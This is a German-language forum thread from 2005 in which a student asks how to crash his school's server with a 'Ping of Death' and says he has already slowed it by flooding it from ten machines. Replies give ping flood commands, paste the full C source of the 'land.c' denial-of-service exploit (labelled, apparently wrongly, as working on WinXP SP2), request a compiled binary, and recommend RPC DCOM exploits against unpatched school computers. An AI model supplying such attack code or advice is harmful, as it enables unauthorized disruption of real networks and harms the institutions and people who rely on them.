[Frage] zu Ping of Death

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Korllino, 25. Juli 2005 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 25. Juli 2005
    Hoi hoi,

    also in der Schule haben wir nen Schulserver, und da hab ich die IP von, aber ich wollte den Server mal abschmiernlassen, aber wie geht das nochmal mit Ping of Death
    Weil ich hab mir was rausgesucht das hieß ungefähr so

    'ping -l 65510 *host_ip*'

    aber das geht net, wir haben xp rechner, kann das sein, damit das dadurch nicht mehr geht?

    Danke um antwort,

    cu Korllino
     
  2. 25. Juli 2005
    1.] Jede normale Firewall wird deinen Ping blocken.
    2.] WINXP ist nicht davon betroffen.
     
  3. 25. Juli 2005
    neja, anpingen kann ich ihn schon, hab ihn dadruch um die hälfte langsammer gemacht, weil wenn ihc sagen wir mal wie letztens 10 rechner, ne ganze stunde pingen lasseen ^^

    aber wie geht das dann mit den über die 65 bytes?
     
  4. 25. Juli 2005
    ping IP -t -l 65500

    -t bedeutet dass er die IP unendlich mal pingt
    -l 65500 bedeutet dass er nicht mit 32Bytes pingt, sondern mit 65500 Bytes pro Paket pingt

    Bei Win95 führte das zum absturz wegen übergröße des Pakets (wegen segmentíerung).
     
  5. 25. Juli 2005
    Für WinXP SP2:
    Code:
    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/ip_tcp.h>
    #include <netinet/protocols.h>
    
    struct pseudohdr
    {
     struct in_addr saddr;
     struct in_addr daddr;
     u_char zero;
     u_char protocol;
     u_short length;
     struct tcphdr tcpheader;
    };
    
    u_short checksum(u_short * data,u_short length)
    {
     register long value;
     u_short i;
    
     for(i=0;i<(length>>1);i++)
     value+=data[i];
    
     if((length&1)==1)
     value+=(data[i]<<8);
    
     value=(value&65535)+(value>>16);
    
     return(~value);
    }
    
    int main(int argc,char * * argv)
    {
     struct sockaddr_in sin;
     struct hostent * hoste;
     int sock;
     char buffer[40];
     struct iphdr * ipheader=(struct iphdr *) buffer;
     struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
     struct pseudohdr pseudoheader;
    
     fprintf(stderr,"land.c by m3lt, FLC\n");
    
     if(argc<3)
     {
     fprintf(stderr,"usage: %s IP port\n",argv[0]);
     return(-1);
     }
    
     bzero(&sin,sizeof(struct sockaddr_in));
     sin.sin_family=AF_INET;
    
     if((hoste=gethostbyname(argv[1]))!=NULL)
     bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
     else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
     {
     fprintf(stderr,"unknown host %s\n",argv[1]);
     return(-1);
     }
    
     if((sin.sin_port=htons(atoi(argv[2])))==0)
     {
     fprintf(stderr,"unknown port %s\n",argv[2]);
     return(-1);
     }
    
     if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
     {
     fprintf(stderr,"couldn't allocate raw socket\n");
     return(-1);
     }
    
     bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
     ipheader->version=4;
     ipheader->ihl=sizeof(struct iphdr)/4;
     ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
     ipheader->id=htons(0xF1C);
     ipheader->ttl=255;
     ipheader->protocol=IP_TCP;
     ipheader->saddr=sin.sin_addr.s_addr;
     ipheader->daddr=sin.sin_addr.s_addr;
    
     tcpheader->th_sport=sin.sin_port;
     tcpheader->th_dport=sin.sin_port;
     tcpheader->th_seq=htonl(0xF1C);
     tcpheader->th_flags=TH_SYN;
     tcpheader->th_off=sizeof(struct tcphdr)/4;
     tcpheader->th_win=htons(2048);
    
     bzero(&pseudoheader,12+sizeof(struct tcphdr));
     pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
     pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
     pseudoheader.protocol=6;
     pseudoheader.length=htons(sizeof(struct tcphdr));
     bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
     tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    
     if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
     {
     fprintf(stderr,"couldn't send packet\n");
     return(-1);
     }
    
     fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
    
     close(sock);
     return(0);
    }
    
    jaja.. der gute alte Ping Stack..
     
  6. 25. Juli 2005
    Bei dem Pingen mit Paketen mit 65500 Bytes pro Paket bei Windows XP schmierste keinen Rechner ab, sondern lastest deine eigene Verbindung aus. Der andre Rechner gibt auf jedes Packet ne Antwort, aber dein Rechner kann nicht mehr so schnell so viele große Packete hinterherschicken, als Anzeige wirste erhalten, dass der andere Rechner teils nicht teil mit nem hohen Ping erreichbar ist. In Wirklichkeit ist aber dann dein Rechner ausgelastet, merkt man wenn man mit nem 3. Rechner den Server normal also mit 32 Bytes pro Paket pingt, dieser Wert wird etwas unter dem normal Wert liegen.

    Sorry den Quelltext von dir xodox hab ich jetzt nicht ausprobiert hab grad keine Zeit. Hab mich mal nur auf den Dos Ping Command bezogen.

    mfg BlueFlame
     
  7. 25. Juli 2005
    könnte das mal wer kompilieren und dann uppen? Nicht jeder hat nen c compiler
     
  8. 25. Juli 2005
    mit ping flood kannst alales was höher als win98 oder linux is, nur langsam machen. selbst wennst daraus nen synflood machst (also attribut auf syn) bringt dir das nix. pod kannst also kicken. versuch lieber rpc dcom oder sowas, falls die windoof rechner bei dir ungepatcht sind. hab ich damals immer inner schule gemacht. "ey du hans mach dei scheiß musik aus oder ich machs"...... tja und sag da mal was dagegen
     
  9. 25. Juli 2005
    also, so viel wie ich weis , iser unpched, naja, ich werd mal guggen was sich da etz mal machen lässt ^^

    thx for answer
     
  10. 25. Juli 2005
     
  11. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.